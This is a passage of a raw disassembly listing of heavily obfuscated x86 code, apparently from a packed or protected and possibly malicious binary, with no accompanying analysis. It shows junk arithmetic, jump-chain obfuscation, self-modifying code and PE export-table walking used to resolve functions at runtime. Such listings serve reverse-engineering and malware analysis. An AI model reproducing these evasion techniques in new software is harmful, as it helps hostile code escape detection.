00444CC4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445898 SIZE 00000014 BYTES add eax, 57678B35h add eax, ebp add eax, 7C1FA24Ah mov eax, [eax] add eax, eax cdq add eax, [esp-4+arg_0] loc_439F70: ; CODE XREF: y22d6.y.:0044C39Ej jmp loc_437C94 sub_439F5A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439F75: ; CODE XREF: sub_448EB6:loc_43E96Fj call sub_44D088 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; START OF FUNCTION CHUNK FOR sub_43F501 loc_439F7A: ; CODE XREF: sub_43F501+1D14j mov eax, ds:dword_442AB8 call sub_4441E8 loc_439F84: ; CODE XREF: sub_43EC1C+AAEAj jmp loc_44A98E ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_439F89: ; CODE XREF: sub_44123E+Ej jmp loc_4429B9 ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_439F8E: ; CODE XREF: sub_43FBC3:loc_43D374j pop edx mov eax, ds:dword_44139C or eax, eax jnz loc_4396A3 jmp loc_43B4DC ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_439FA2: ; CODE XREF: sub_439E63+205j mov eax, 0CB10B158h call sub_43F7FF push esi push 0BFA05DF1h jmp loc_44716A ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43946E loc_439FB7: ; CODE XREF: sub_43946E+BC84j jns loc_44AC79 mov eax, [esp+8+var_8] push edx call sub_44AB7B ; END OF FUNCTION CHUNK FOR sub_43946E ; START OF FUNCTION CHUNK FOR sub_444541 loc_439FC6: ; CODE XREF: sub_444541-A3DEj jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_444541 ; =============== S U B R O U T I N E ======================================= sub_439FCB proc near ; CODE XREF: y22d6.y.:loc_442CC9p ; FUNCTION CHUNK AT 00438F8B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043ADAB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CFB3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043F015 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00443FB6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444C1E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044B1B6 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add ecx, ebp push ebx push 0B4071377h pop ebx rol ebx, 13h cmp ebx, 9A37C388h jmp loc_44B1B6 sub_439FCB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_439FE6: ; CODE XREF: y22d6.y.:loc_44A387j jl loc_440F01 sbb esi, 8B09B3B0h cdq mov edx, esi and ebp, edi jmp loc_43A83D ; --------------------------------------------------------------------------- loc_439FFC: ; DATA XREF: sub_44A8FD:loc_43A5DBo mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_438FCA mov ecx, [ebx+ecx+0Ch] jmp loc_44859C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E1BD loc_43A014: ; CODE XREF: y22d6.y.:00441B16j ; sub_44E1BD+Dj xchg eax, [esp+0] call sub_44E5C7 push 0B4EA389Bh push offset loc_43799D jmp nullsub_269 ; END OF FUNCTION CHUNK FOR sub_44E1BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43A02B: ; CODE XREF: sub_448EB6-F28Cj mov [eax], ebp push ebp jmp loc_438D00 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43A033: ; CODE XREF: y22d6.y.:00447931j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_444B04 ; =============== S U B R O U T I N E ======================================= sub_43A041 proc near ; CODE XREF: y22d6.y.:00437166j ; sub_43A041:loc_43CBBDp ; FUNCTION CHUNK AT 0043AE24 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C569 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043CBBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CE61 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043FD95 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004442B4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044A931 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044C1BB SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx jz loc_4442B4 add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_44A936 jmp loc_43C569 sub_43A041 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_43A05F: ; CODE XREF: sub_439E63:loc_4384AFj push edx call sub_44A46F shr eax, 1Dh jmp loc_439FA2 ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43A06D: ; CODE XREF: sub_44B1D2:loc_43B59Fj and edi, 80E50814h mov esi, 8852639Ch jmp loc_44A045 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- push 6CD8447h jmp sub_43E77C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FEC6 loc_43A087: ; CODE XREF: sub_43FEC6:loc_44165Bj xchg esi, [esp+0] push 0CABEC910h pop ecx xor ecx, 16867A31h jmp loc_441C83 ; END OF FUNCTION CHUNK FOR sub_43FEC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D025 loc_43A09B: ; CODE XREF: sub_43D025:loc_4464A8j mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 5 setz al call sub_443954 pop ecx shl eax, 3 jmp loc_43A87C ; END OF FUNCTION CHUNK FOR sub_43D025 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444E14 loc_43A0B4: ; CODE XREF: sub_444E14+E7Dj jge loc_449D4A ; END OF FUNCTION CHUNK FOR sub_444E14 ; START OF FUNCTION CHUNK FOR sub_43D9D2 loc_43A0BA: ; CODE XREF: sub_43D9D2+Ej jmp loc_441330 ; END OF FUNCTION CHUNK FOR sub_43D9D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43A0BF: ; CODE XREF: sub_449641:loc_43D40Aj jmp loc_44DF17 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- or ebp, 88912904h shl edx, 0Eh jmp loc_449D44 ; --------------------------------------------------------------------------- loc_43A0D2: ; DATA XREF: y22d6.y.:0044B59Ao xchg edi, [esp] jnz loc_44CCDA inc ds:dword_44186C lea eax, nullsub_344 mov byte ptr [eax], 0C3h call nullsub_59 jmp loc_43AA99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F37 loc_43A0F4: ; CODE XREF: sub_444F37:loc_43C381j ; y22d6.y.:loc_43C396j call sub_43A58D loc_43A0F9: ; CODE XREF: sub_4481BC+Aj jmp loc_44BB66 ; END OF FUNCTION CHUNK FOR sub_444F37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E139 loc_43A0FE: ; CODE XREF: sub_43E139+13E4j jmp loc_44E334 ; END OF FUNCTION CHUNK FOR sub_43E139 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437712 loc_43A103: ; CODE XREF: sub_437712+44EAj jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_437712 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_43A109: ; CODE XREF: sub_444D95-D145j jmp loc_43CEF3 ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_43A10E: ; CODE XREF: sub_4409F4:loc_43AE5Fj mov [edi], eax pop edi lea eax, sub_446222 mov byte ptr [eax], 0C3h jmp sub_446222 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; =============== S U B R O U T I N E ======================================= sub_43A11F proc near ; CODE XREF: sub_40158F+9Fp ; sub_40158F+1ADp ... call sub_43A148 jmp ds:off_41E014 sub_43A11F endp ; --------------------------------------------------------------------------- loc_43A12A: ; CODE XREF: y22d6.y.:0044D78Ej jmp loc_4409D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_43A12F: ; CODE XREF: sub_4450FD+831j jmp loc_43E8B9 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- loc_43A134: ; CODE XREF: y22d6.y.:00444965j jmp loc_449C6D ; --------------------------------------------------------------------------- loc_43A139: ; CODE XREF: y22d6.y.:00441D1Cj jmp loc_4475DC ; --------------------------------------------------------------------------- loc_43A13E: ; CODE XREF: y22d6.y.:00438B23j jmp loc_438C35 ; --------------------------------------------------------------------------- jmp loc_448B41 ; =============== S U B R O U T I N E ======================================= sub_43A148 proc near ; CODE XREF: sub_43A11Fp ; sub_447663:loc_449B4Ej ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00439DC2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043AFBD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043B041 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043BE19 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C1C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004408EF SIZE 00000003 BYTES ; FUNCTION CHUNK AT 004417D0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004431E2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044DC8A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044E637 SIZE 00000005 BYTES pop edx jnb loc_4417D0 jmp loc_44E637 sub_43A148 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_43A154: ; CODE XREF: sub_444541:loc_438F08j or ecx, 58928899h add ecx, 8768491Ch xchg ecx, [esp+0] jmp loc_439FC6 ; END OF FUNCTION CHUNK FOR sub_444541 ; --------------------------------------------------------------------------- call sub_4476FF xchg ebx, edi jmp loc_44C138 ; --------------------------------------------------------------------------- loc_43A174: ; DATA XREF: y22d6.y.:004472A0o mov eax, [eax] movzx eax, word ptr [eax+6] mov [ebp-10h], eax mov eax, [ebp-4] movzx eax, word ptr [eax+14h] add eax, [ebp-4] push ebx push 0B918941Dh jmp loc_44BC3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_43A192: ; CODE XREF: sub_43BCA9-CA8j pop eax and eax, 0CE15F0FCh xor eax, 27BAEB38h add eax, 275C765h loc_43A1A5: ; CODE XREF: y22d6.y.:0044B162j or eax, 0CC42AA17h add eax, 13D0FD9Bh jmp loc_437AFC ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- loc_43A1B6: ; CODE XREF: y22d6.y.:0044AF17j jle loc_44AC12 ; =============== S U B R O U T I N E ======================================= sub_43A1BC proc near ; CODE XREF: sub_43BEF7+2205p ; FUNCTION CHUNK AT 00438007 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00439300 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043B0CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FC19 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jnz loc_439300 jmp loc_438007 sub_43A1BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_43A1CB: ; CODE XREF: sub_4480DE:loc_449525j mov eax, [ebp+var_4] call sub_43DD42 ; END OF FUNCTION CHUNK FOR sub_4480DE ; START OF FUNCTION CHUNK FOR sub_437B43 loc_43A1D3: ; CODE XREF: sub_437B43:loc_44AC43j mov esi, edx push offset loc_43F452 jmp loc_4413D4 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E86C loc_43A1DF: ; CODE XREF: sub_43E86C+7356j xchg eax, ecx jmp loc_44B25A ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_43A1E6: ; CODE XREF: sub_43B7D4+BFCDj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h loc_43A1EF: ; CODE XREF: sub_44B1D2:loc_437580j jz loc_44B25A jmp loc_441F44 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; =============== S U B R O U T I N E ======================================= sub_43A1FA proc near ; CODE XREF: y22d6.y.:004451B7p ; y22d6.y.:0044ACE3j ; FUNCTION CHUNK AT 00441E05 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx call sub_44A413 mov eax, 0A5559D12h push eax push 0AAB43D9Eh pop eax jmp loc_441E05 sub_43A1FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ror ecx, 5 shr ebx, 17h pop edi ; START OF FUNCTION CHUNK FOR sub_449641 loc_43A21B: ; CODE XREF: sub_449641:loc_44A0DFj jmp loc_449AD5 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_43A220: ; CODE XREF: sub_4416F3:loc_43AC79j jz loc_43BF27 jmp loc_440EB5 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43A22B: ; CODE XREF: sub_44B17B-8B0j test ebp, edi jmp loc_444318 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_43A232: ; CODE XREF: sub_440395+857Dj adc eax, 0FC84C938h pop edi jmp loc_44628D ; END OF FUNCTION CHUNK FOR sub_440395 ; --------------------------------------------------------------------------- cdq shr edx, 0Dh jmp loc_440C2A ; --------------------------------------------------------------------------- loc_43A247: ; CODE XREF: y22d6.y.:loc_444027j pop edi or edi, 219CD789h add edi, 0D486BF38h xchg edi, [esp] jmp nullsub_59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_43A25C: ; CODE XREF: sub_440494:loc_438EC0j xchg ecx, [esp+4+var_4] jmp loc_4494E1 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- mov eax, 462C961Fh push ebx push 9E254F61h jmp loc_43E0D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445629 loc_43A274: ; CODE XREF: sub_445629+Ej push 932B5B75h pop esi and esi, ds:4000E6h add esi, 7D1B3B99h xchg esi, [esp+4+var_4] jmp sub_44C171 ; END OF FUNCTION CHUNK FOR sub_445629 ; =============== S U B R O U T I N E ======================================= sub_43A28E proc near ; CODE XREF: y22d6.y.:0043B10Aj ; sub_44B17B+194p ; FUNCTION CHUNK AT 00449AED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BB15 SIZE 00000010 BYTES xchg ebx, [esp+0] pop ebx xor eax, 0D4D46998h sub eax, 5794CDB1h push ebx push 66775992h pop ebx add ebx, 0DE508EEAh jmp loc_449AED sub_43A28E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43A2B0: ; CODE XREF: sub_44B1D2:loc_43C7AFj jnz loc_43B90E jmp loc_43A749 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440330 loc_43A2BB: ; CODE XREF: sub_440330:loc_4377A6j jge loc_44C30D loc_43A2C1: ; CODE XREF: sub_4432B8+5238j jmp loc_44CD85 ; END OF FUNCTION CHUNK FOR sub_440330 ; --------------------------------------------------------------------------- sbb ebp, edi rol ebp, 0Fh not ecx jmp loc_44C307 ; --------------------------------------------------------------------------- loc_43A2D2: ; CODE XREF: y22d6.y.:00443ECCj call sub_44E357 ; START OF FUNCTION CHUNK FOR sub_445382 loc_43A2D7: ; CODE XREF: sub_445382+5DD9j jmp nullsub_337 ; END OF FUNCTION CHUNK FOR sub_445382 ; --------------------------------------------------------------------------- loc_43A2DC: ; CODE XREF: y22d6.y.:00440F24j jmp loc_437839 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43A2E1: ; CODE XREF: sub_448EB6-87FAj jmp loc_44B1E9 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_43A2E6: ; CODE XREF: sub_43E5C2-38CEj call sub_4449C0 ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_43A2EB: ; CODE XREF: sub_437FD8:loc_44E1FCj jnz loc_43A52F loc_43A2F1: ; CODE XREF: y22d6.y.:0043719Aj jmp loc_44DDFC ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D3B1 loc_43A2F6: ; CODE XREF: sub_44D3B1:loc_43B599j ; y22d6.y.:0043B5ABj and ebx, 0E60027FEh sub ebx, 791E1525h cmp ebx, 7F29EAA9h jmp loc_438998 ; END OF FUNCTION CHUNK FOR sub_44D3B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E51C loc_43A30D: ; CODE XREF: sub_44E51C:loc_44B9D8j ; y22d6.y.:0044B9F9j add esi, 185C7F5h xchg esi, [esp+0] jmp loc_4451C7 ; END OF FUNCTION CHUNK FOR sub_44E51C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449ECF loc_43A31B: ; CODE XREF: sub_449ECF:loc_44499Aj add edx, ebp add edx, 0C68F08B9h mov [edx], eax pop edx call sub_43B3CC loc_43A32B: ; CODE XREF: y22d6.y.:0044DDF6j jmp loc_43BA10 ; END OF FUNCTION CHUNK FOR sub_449ECF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_43A330: ; CODE XREF: sub_43FAC6+2431j jmp loc_439DFA ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43A335: ; CODE XREF: sub_4432B8-6639j jmp nullsub_60 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_43A33A: ; CODE XREF: y22d6.y.:00439617j jmp loc_44BB37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437833 loc_43A33F: ; CODE XREF: sub_437833+1j jmp loc_4429EB ; END OF FUNCTION CHUNK FOR sub_437833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44364E loc_43A344: ; CODE XREF: sub_44364E:loc_441834j inc dword ptr [ebp-1Ch] jmp loc_43E6E6 ; END OF FUNCTION CHUNK FOR sub_44364E ; --------------------------------------------------------------------------- loc_43A34C: ; CODE XREF: y22d6.y.:0044C99Cj inc dword ptr [ebp-1Ch] jmp loc_44B66F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_43A354: ; CODE XREF: sub_43F35E:loc_43EF03j ; sub_4385ED:loc_44245Fj ... inc dword ptr [ebp-18h] dec dword ptr [ebp-24h] jmp loc_441925 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- loc_43A35F: ; CODE XREF: y22d6.y.:loc_43BED3j ; y22d6.y.:loc_43DDCBj jnz loc_437E5D loc_43A365: ; CODE XREF: y22d6.y.:0044C69Aj jmp locret_447FA9 ; --------------------------------------------------------------------------- test ebx, ebp jmp loc_437E56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_43A371: ; CODE XREF: sub_43E81B+91B1j xor edx, 0ABACED5Eh rol edx, 1Fh sub edx, 0AAEE9F0Dh xor edx, 0AA9BF002h add edx, ebp add edx, 27EC8493h jmp loc_44979E ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- loc_43A393: ; CODE XREF: y22d6.y.:loc_44811Aj pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_43A395: ; CODE XREF: sub_43EC01+9j jmp loc_4383D5 ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_43A39A: ; CODE XREF: sub_44B196-13552j ; sub_444D95:loc_43CEF3j ... mov al, 1 jmp loc_44CDA7 ; --------------------------------------------------------------------------- loc_43A3A1: ; CODE XREF: sub_44B196:loc_437C38j ; sub_444D95+4j inc dword ptr [ebp-4] jmp loc_44D427 ; END OF FUNCTION CHUNK FOR sub_444D95 ; =============== S U B R O U T I N E ======================================= sub_43A3A9 proc near ; CODE XREF: sub_4480DE-2137p arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0043E989 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044D546 SIZE 00000006 BYTES call sub_44D43E push ecx mov ecx, [esp+4+arg_8] loc_43A3B3: ; CODE XREF: y22d6.y.:00447096j jmp loc_43E989 sub_43A3A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_43A3B8: ; CODE XREF: sub_43C712-4F72j ; y22d6.y.:004377B3j and esi, 0DE58F97Fh add esi, 32390079h loc_43A3C4: ; CODE XREF: y22d6.y.:loc_447E77j mov [esi], eax pop esi lea eax, sub_44B81B mov byte ptr [eax], 0C3h jmp sub_44B81B ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C8E9 loc_43A3D5: ; CODE XREF: sub_44C8E9:loc_44B9DEj pop edx xor edx, 0BCD13DE1h add edx, 0FDE61D8Dh xchg edx, [esp+0] jmp loc_445A2D ; END OF FUNCTION CHUNK FOR sub_44C8E9 ; --------------------------------------------------------------------------- push edx push 24DF01A6h pop edx and edx, 0BAFF1F2Ch xor edx, 9F55D4D3h call sub_4382FE ; START OF FUNCTION CHUNK FOR sub_43923C loc_43A402: ; CODE XREF: sub_43923C+AA9Dj jmp loc_448AA4 ; END OF FUNCTION CHUNK FOR sub_43923C ; --------------------------------------------------------------------------- loc_43A407: ; CODE XREF: y22d6.y.:0043D5F9j jmp sub_43923C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43A40C: ; CODE XREF: sub_44633F-8D54j jmp loc_43EEA6 ; END OF FUNCTION CHUNK FOR sub_44633F ; =============== S U B R O U T I N E ======================================= sub_43A411 proc near ; CODE XREF: sub_44DA98-52E2p push ebx mov ebx, esi call sub_449E4B sub_43A411 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44ABDD loc_43A419: ; CODE XREF: sub_44ABDD-11631j jmp nullsub_335 ; END OF FUNCTION CHUNK FOR sub_44ABDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43A41E: ; CODE XREF: sub_4432B8:loc_44353Fj pop eax rol ecx, 1 add ecx, 5B5D377h and ecx, 0E285FB36h rol ecx, 1Fh add ecx, 9043FC68h jmp loc_4426BA ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43A43C: ; CODE XREF: sub_4432B8+2A4j jmp loc_4417F1 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_43A441: ; CODE XREF: sub_43837F+2F9Fj jmp loc_43D4E7 ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_43A446: ; CODE XREF: sub_44371A-836Bj jp loc_4449F5 loc_43A44C: ; CODE XREF: sub_44371A:loc_44A80Ej call sub_43760A mov edx, 0D504D785h call sub_44D293 jmp loc_43D75F ; END OF FUNCTION CHUNK FOR sub_44371A ; --------------------------------------------------------------------------- loc_43A460: ; CODE XREF: y22d6.y.:00443816j cdq pop ecx ; START OF FUNCTION CHUNK FOR sub_437B10 loc_43A462: ; CODE XREF: sub_437B10:loc_443809j add ecx, 0A632AF6h rol ecx, 12h add ecx, 858C14B4h popf jmp loc_43959D ; END OF FUNCTION CHUNK FOR sub_437B10 ; --------------------------------------------------------------------------- add ebx, ecx jmp sub_44CEAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_43A47E: ; CODE XREF: sub_43872E:loc_4376B2j mov eax, 649E33C4h push edi push 3C4BDB7Dh pop edi xor edi, 6314A885h loc_43A490: ; CODE XREF: y22d6.y.:loc_43DD72j jmp loc_443A57 ; END OF FUNCTION CHUNK FOR sub_43872E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_43A495: ; CODE XREF: sub_43BCA9:loc_43DB9Ej push 4BB6D43Ch xchg ebp, [esp+0] mov ecx, ebp pop ebp loc_43A4A0: ; CODE XREF: y22d6.y.:00447191j rol ecx, 1Ch add ecx, 3B89289Ch xchg ecx, [esp-4+arg_0] jmp sub_4463CE ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- or ebx, 375A8F63h jmp loc_437809 ; --------------------------------------------------------------------------- test eax, ebx jmp loc_4497BD ; --------------------------------------------------------------------------- and ebp, esi jmp sub_441AE7 ; --------------------------------------------------------------------------- push edx call sub_440943 ; START OF FUNCTION CHUNK FOR sub_4425E0 loc_43A4D0: ; CODE XREF: sub_4425E0+A5C1j jmp loc_441B3F ; END OF FUNCTION CHUNK FOR sub_4425E0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43A4D6: ; CODE XREF: sub_44AEDA-12FC6j jmp loc_445EF8 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- loc_43A4DB: ; CODE XREF: y22d6.y.:loc_44BF67j mov ecx, ebp adc edi, edx jmp loc_4437C6 ; =============== S U B R O U T I N E ======================================= sub_43A4E4 proc near ; CODE XREF: y22d6.y.:0043AA33j ; y22d6.y.:loc_442036p ; FUNCTION CHUNK AT 004473CB SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push eax lea eax, dword_4401FC push eax push eax mov edx, eax jmp loc_4473CB sub_43A4E4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F750 loc_43A4F8: ; CODE XREF: sub_43F750+61CAj add edx, 4F7D8B03h popf xchg edx, [esp-4+arg_0] jmp loc_4384D6 ; END OF FUNCTION CHUNK FOR sub_43F750 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_43A507: ; CODE XREF: sub_43C7C1:loc_449837j jz loc_43870C jmp loc_438F25 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- loc_43A512: ; CODE XREF: y22d6.y.:loc_446271j push ebx mov ebx, edx xchg ebx, [esp] push eax ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43A519: ; CODE XREF: sub_438B66:loc_437790j call sub_43AC88 jmp loc_43C14E ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43A523: ; CODE XREF: sub_4432B8-A87Aj jnb loc_44B0D0 add ebx, 5F6362E6h loc_43A52F: ; CODE XREF: sub_437FD8:loc_43A2EBj push 0B348355Ch pop eax sub eax, 983AC69Fh loc_43A53B: ; CODE XREF: y22d6.y.:0044C187j xor eax, 3C6C5675h add eax, ebp jmp loc_446E27 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_43A548: ; CODE XREF: y22d6.y.:00445131j sub al, 99h mov edx, [ebp-4] loc_43A54D: ; CODE XREF: y22d6.y.:loc_43C0C8j imul byte ptr [edx] call sub_44122D ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43A554: ; CODE XREF: sub_44B17B-E30Aj jmp loc_4470F1 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB23 loc_43A559: ; CODE XREF: sub_43DB23-484Cj mov edi, ebx xchg edi, [esp+8+var_8] push 54AD109Bh pop ebx add ebx, 17F0C3B5h xor ebx, 0B9E28CCBh jmp loc_44771E ; END OF FUNCTION CHUNK FOR sub_43DB23 ; --------------------------------------------------------------------------- loc_43A575: ; CODE XREF: y22d6.y.:loc_44476Ej ; y22d6.y.:0044C2CCj mov eax, [ebp-4] call nullsub_347 retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_347. PRESS KEYPAD "+" TO EXPAND] 